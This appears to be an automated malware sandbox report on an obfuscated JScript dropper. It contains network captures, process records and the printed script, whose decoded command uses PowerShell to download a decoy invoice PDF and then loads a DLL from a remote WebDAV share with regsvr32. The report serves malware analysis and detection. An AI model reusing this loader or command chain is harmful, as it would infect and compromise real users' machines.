Jan 11, 2025 09:23:36.890353918 CET	53	49631	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:21:41.792912006 CET	192.168.2.9	1.1.1.1	0x142c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:21:41.799736977 CET	1.1.1.1	192.168.2.9	0x142c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:21:42.545068979 CET	1.1.1.1	192.168.2.9	0xdcdf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:21:42.545068979 CET	1.1.1.1	192.168.2.9	0xdcdf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49760	193.143.1.205	80	7732	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:21:31.291680098 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:21:32.075370073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:21:32.075392962 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:21:32.075403929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 09:21:32.075452089 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 09:21:32.075464010 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 09:21:32.075476885 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 09:21:32.075567961 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 09:21:32.075579882 CET	1116	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 09:21:32.075591087 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 09:21:32.075602055 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 09:21:32.080257893 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49771	193.143.1.205	8888	8020	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:21:33.951854944 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:21:34.775996923 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:21:26
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js"
Imagebase:	0x7ff6bd040000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:21:27
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll
Imagebase:	0x7ff744060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:21:27
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:21:27
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:21:32
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:21:32
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff744060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:21:32
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a9640000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:21:32
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:21:33
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:21:33
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,7314037071135786835,3798120691882214399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ypfjn() {	ypfjn() ➔ undefined
1	kphowtm = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var copxovb = this[xehug + dueckkajt + wgmzgrzaw + oqjfa + xailwnky + wfqevvux + bxqwlavkm + ijgek] ( this[uujsglc + ydqlf + veymsxvf + wgmzgrzaw + fbdqxch + xehug + ijgek][kcphopdma + wgmzgrzaw + xailwnky + dueckkajt + ijgek + xailwnky + otrgfcx + udeaiqo + mfwqxvqqw + xailwnky + veymsxvf + ijgek] ( uujsglc + ydqlf + veymsxvf + wgmzgrzaw + fbdqxch + xehug + ijgek + enazmqpi + ydqlf + kgvqkwk + xailwnky + hqgrpw + hqgrpw ) [eimtodyj + xailwnky + ntaoczgg + eimtodyj + xailwnky + dueckkajt + bkxrz] ( frelhz + moelfdz + vplrtfwy + nitlpnar + ditvpr + kcphopdma + zczffw + eimtodyj + eimtodyj + vplrtfwy + pwbowg + vvbpwt + ditvpr + zczffw + ydqlf + vplrtfwy + eimtodyj + banmf + kcphopdma + tztujz + bxqwlavkm + ijgek + wgmzgrzaw + tztujz + hqgrpw + jmwbax + masjscpa + dueckkajt + bxqwlavkm + xailwnky + hqgrpw + banmf + wfqevvux + bxqwlavkm + ijgek + xailwnky + wgmzgrzaw + bxqwlavkm + dueckkajt + ijgek + fbdqxch + tztujz + bxqwlavkm + dueckkajt + hqgrpw + banmf + thyifqd + tztujz + veymsxvf + dueckkajt + hqgrpw + xailwnky ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jvuluz = 0 ; jvuluz < kphowtm[hqgrpw + xailwnky + bxqwlavkm + ntaoczgg + ijgek + kgvqkwk] ; ++ jvuluz )
4	{
5	if ( copxovb == kphowtm[jvuluz] )
6	{
7	copxovb = true;
8	break ;
9	}
10	}
11	if ( copxovb !== true )
12	this[uujsglc + ydqlf + veymsxvf + wgmzgrzaw + fbdqxch + xehug + ijgek][mdpef + pgjshfef + fbdqxch + ijgek] ( );
13	this[uujsglc + ydqlf + veymsxvf + wgmzgrzaw + fbdqxch + xehug + ijgek][kcphopdma + wgmzgrzaw + xailwnky + dueckkajt + ijgek + xailwnky + otrgfcx + udeaiqo + mfwqxvqqw + xailwnky + veymsxvf + ijgek] ( uujsglc + ydqlf + veymsxvf + wgmzgrzaw + fbdqxch + xehug + ijgek + enazmqpi + ydqlf + kgvqkwk + xailwnky + hqgrpw + hqgrpw ) [wgmzgrzaw + pgjshfef + bxqwlavkm] ( veymsxvf + wjlduo + bkxrz + jmwbax + lvbldl + veymsxvf + jmwbax + xehug + tztujz + jjyfptexa + xailwnky + wgmzgrzaw + oqjfa + kgvqkwk + xailwnky + hqgrpw + hqgrpw + enazmqpi + xailwnky + alriadt + xailwnky + jmwbax + fbbchp + kcphopdma + tztujz + wjlduo + wjlduo + dueckkajt + bxqwlavkm + bkxrz + jmwbax + ynpfzltz + wfqevvux + bxqwlavkm + nkwznqr + tztujz + bmblhm + xailwnky + fbbchp + uujsglc + xailwnky + udeaiqo + eimtodyj + xailwnky + qdopii + pgjshfef + xailwnky + oqjfa + ijgek + jmwbax + fbbchp + otrgfcx + pgjshfef + ijgek + tluzuvq + fbdqxch + hqgrpw + xailwnky + jmwbax + fqvfdmqrx + ijgek + xailwnky + wjlduo + xehug + fqvfdmqrx + banmf + fbdqxch + bxqwlavkm + nkwznqr + tztujz + fbdqxch + veymsxvf + xailwnky + enazmqpi + xehug + bkxrz + ormqd + jmwbax + kgvqkwk + ijgek + ijgek + xehug + weaflua + lvbldl + lvbldl + mlibz + fisshsd + oofdj + enazmqpi + mlibz + vumywfzi + oofdj + enazmqpi + mlibz + enazmqpi + boblz + qhrump + ppydx + lvbldl + fbdqxch + bxqwlavkm + nkwznqr + tztujz + fbdqxch + veymsxvf + xailwnky + enazmqpi + xehug + kgvqkwk + xehug + ynpfzltz + pdrehyasw + pdrehyasw + oqjfa + ijgek + dueckkajt + wgmzgrzaw + ijgek + jmwbax + fqvfdmqrx + ijgek + xailwnky + wjlduo + xehug + fqvfdmqrx + banmf + fbdqxch + bxqwlavkm + nkwznqr + tztujz + fbdqxch + veymsxvf + xailwnky + enazmqpi + xehug + bkxrz + ormqd + pdrehyasw + pdrehyasw + veymsxvf + wjlduo + bkxrz + jmwbax + lvbldl + veymsxvf + jmwbax + bxqwlavkm + xailwnky + ijgek + jmwbax + pgjshfef + oqjfa + xailwnky + jmwbax + banmf + banmf + mlibz + fisshsd + oofdj + enazmqpi + mlibz + vumywfzi + oofdj + enazmqpi + mlibz + enazmqpi + boblz + qhrump + ppydx + xgfuscda + ppuuyvpgn + ppuuyvpgn + ppuuyvpgn + ppuuyvpgn + banmf + bkxrz + dueckkajt + nkwznqr + jjyfptexa + jjyfptexa + jjyfptexa + wgmzgrzaw + tztujz + tztujz + ijgek + banmf + pdrehyasw + pdrehyasw + veymsxvf + wjlduo + bkxrz + jmwbax + lvbldl + veymsxvf + jmwbax + wgmzgrzaw + xailwnky + ntaoczgg + oqjfa + nkwznqr + wgmzgrzaw + oofdj + boblz + jmwbax + lvbldl + oqjfa + jmwbax + banmf + banmf + mlibz + fisshsd + oofdj + enazmqpi + mlibz + vumywfzi + oofdj + enazmqpi + mlibz + enazmqpi + boblz + qhrump + ppydx + xgfuscda + ppuuyvpgn + ppuuyvpgn + ppuuyvpgn + ppuuyvpgn + banmf + bkxrz + dueckkajt + nkwznqr + jjyfptexa + jjyfptexa + jjyfptexa + wgmzgrzaw + tztujz + tztujz + ijgek + banmf + mlibz + wbtevzttg + xyjgzkudr + boblz + xyjgzkudr + mlibz + boblz + xyjgzkudr + oofdj + boblz + xyjgzkudr + fisshsd + oofdj + fisshsd + enazmqpi + bkxrz + hqgrpw + hqgrpw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll",0,false) ➔ 0
14	}
15	wjlduo = "g";
16	wjlduo = "y";
17	wjlduo = "J";
18	wjlduo = "O";
19	wjlduo = "U";
20	wjlduo = "c";
21	wjlduo = "r";
22	wjlduo = "L";
23	wjlduo = "T";
24	wjlduo = "g";
25	wjlduo = "m";
26	wjlduo = "Q";
27	wjlduo = "C";
28	wjlduo = "b";
29	wjlduo = "S";
30	wjlduo = "f";
31	wjlduo = "s";
32	wjlduo = "m";
33	veymsxvf = "s";
34	veymsxvf = "w";
35	veymsxvf = "Q";
36	veymsxvf = "u";
37	veymsxvf = "L";
38	veymsxvf = "h";
39	veymsxvf = "e";
40	veymsxvf = "Z";
41	veymsxvf = "K";
42	veymsxvf = "V";
43	veymsxvf = "w";
44	veymsxvf = "f";
45	veymsxvf = "E";
46	veymsxvf = "O";
47	veymsxvf = "R";
48	veymsxvf = "k";
49	veymsxvf = "z";
50	veymsxvf = "x";
51	veymsxvf = "W";
52	veymsxvf = "r";
53	veymsxvf = "B";
54	veymsxvf = "U";
55	veymsxvf = "c";
56	qhrump = "0";
57	mfwqxvqqw = "M";
58	mfwqxvqqw = "r";
59	mfwqxvqqw = "A";
60	mfwqxvqqw = "s";
61	mfwqxvqqw = "f";
62	mfwqxvqqw = "E";
63	mfwqxvqqw = "r";
64	mfwqxvqqw = "U";
65	mfwqxvqqw = "j";
66	mfwqxvqqw = "L";
67	mfwqxvqqw = "D";
68	mfwqxvqqw = "A";
69	mfwqxvqqw = "a";
70	mfwqxvqqw = "J";
71	mfwqxvqqw = "d";
72	mfwqxvqqw = "t";
73	mfwqxvqqw = "c";
74	mfwqxvqqw = "Z";
75	mfwqxvqqw = "r";
76	mfwqxvqqw = "l";
77	mfwqxvqqw = "Z";
78	mfwqxvqqw = "o";
79	mfwqxvqqw = "x";
80	mfwqxvqqw = "i";
81	mfwqxvqqw = "K";
82	mfwqxvqqw = "D";
83	mfwqxvqqw = "Y";
84	mfwqxvqqw = "M";
85	mfwqxvqqw = "S";
86	mfwqxvqqw = "Y";
87	mfwqxvqqw = "K";
88	mfwqxvqqw = "y";
89	mfwqxvqqw = "U";
90	mfwqxvqqw = "l";
91	mfwqxvqqw = "a";
92	mfwqxvqqw = "P";
93	mfwqxvqqw = "f";
94	mfwqxvqqw = "h";
95	mfwqxvqqw = "C";
96	mfwqxvqqw = "Y";
97	mfwqxvqqw = "p";
98	mfwqxvqqw = "j";
99	pwbowg = "A";
100	pwbowg = "V";
101	pwbowg = "n";
102	pwbowg = "r";
103	pwbowg = "f";
104	pwbowg = "V";
105	pwbowg = "k";
106	pwbowg = "N";
107	tztujz = "Q";
108	tztujz = "X";
109	tztujz = "T";
110	tztujz = "P";
111	tztujz = "F";
112	tztujz = "B";
113	tztujz = "u";
114	tztujz = "x";
115	tztujz = "l";
116	tztujz = "p";
117	tztujz = "F";
118	tztujz = "I";
119	tztujz = "M";
120	tztujz = "R";
121	tztujz = "u";
122	tztujz = "M";
123	tztujz = "N";
124	tztujz = "p";
125	tztujz = "f";
126	tztujz = "n";
127	tztujz = "D";
128	tztujz = "W";
129	tztujz = "o";
130	ppydx = "P";
131	ppydx = "g";
132	ppydx = "P";
133	ppydx = "N";
134	ppydx = "5";
135	dueckkajt = "f";
136	dueckkajt = "s";
137	dueckkajt = "t";
138	dueckkajt = "N";
139	dueckkajt = "f";
140	dueckkajt = "E";
141	dueckkajt = "c";
142	dueckkajt = "E";
143	dueckkajt = "T";
144	dueckkajt = "B";
145	dueckkajt = "a";
146	fqvfdmqrx = "S";
147	fqvfdmqrx = "t";
148	fqvfdmqrx = "v";
149	fqvfdmqrx = "z";
150	fqvfdmqrx = "r";
151	fqvfdmqrx = "K";
152	fqvfdmqrx = "u";
153	fqvfdmqrx = "q";
154	fqvfdmqrx = "N";
155	fqvfdmqrx = "M";
156	fqvfdmqrx = "B";
157	fqvfdmqrx = "o";
158	fqvfdmqrx = "V";
159	fqvfdmqrx = "e";
160	fqvfdmqrx = "f";
161	fqvfdmqrx = "x";
162	fqvfdmqrx = "f";
163	fqvfdmqrx = "h";
164	fqvfdmqrx = "T";
165	fqvfdmqrx = "g";
166	fqvfdmqrx = "P";
167	fqvfdmqrx = "x";
168	fqvfdmqrx = "W";
169	fqvfdmqrx = "A";
170	fqvfdmqrx = "E";
171	fqvfdmqrx = "E";
172	fqvfdmqrx = "H";
173	fqvfdmqrx = "q";
174	fqvfdmqrx = "W";
175	fqvfdmqrx = "R";
176	fqvfdmqrx = "B";
177	fqvfdmqrx = "%";
178	xailwnky = "e";
179	zczffw = "v";
180	zczffw = "P";
181	zczffw = "v";
182	zczffw = "B";
183	zczffw = "C";
184	zczffw = "U";
185	ntaoczgg = "b";
186	ntaoczgg = "r";
187	ntaoczgg = "s";
188	ntaoczgg = "W";
189	ntaoczgg = "K";
190	ntaoczgg = "v";
191	ntaoczgg = "Z";
192	ntaoczgg = "g";
193	ntaoczgg = "S";
194	ntaoczgg = "S";
195	ntaoczgg = "a";
196	ntaoczgg = "m";
197	ntaoczgg = "A";
198	ntaoczgg = "e";
199	ntaoczgg = "R";
200	ntaoczgg = "t";
201	ntaoczgg = "Z";
202	ntaoczgg = "o";
203	ntaoczgg = "f";
204	ntaoczgg = "O";
205	ntaoczgg = "x";
206	ntaoczgg = "i";
207	ntaoczgg = "N";
208	ntaoczgg = "a";
209	ntaoczgg = "k";
210	ntaoczgg = "g";
211	udeaiqo = "g";
212	udeaiqo = "S";
213	udeaiqo = "B";
214	udeaiqo = "S";
215	udeaiqo = "u";
216	udeaiqo = "H";
217	udeaiqo = "v";
218	udeaiqo = "H";
219	udeaiqo = "r";
220	udeaiqo = "M";
221	udeaiqo = "x";
222	udeaiqo = "S";
223	udeaiqo = "x";
224	udeaiqo = "W";
225	udeaiqo = "a";
226	udeaiqo = "q";
227	udeaiqo = "x";
228	udeaiqo = "b";
229	uujsglc = "C";
230	uujsglc = "W";
231	uujsglc = "g";
232	uujsglc = "L";
233	uujsglc = "R";
234	uujsglc = "b";
235	uujsglc = "u";
236	uujsglc = "l";
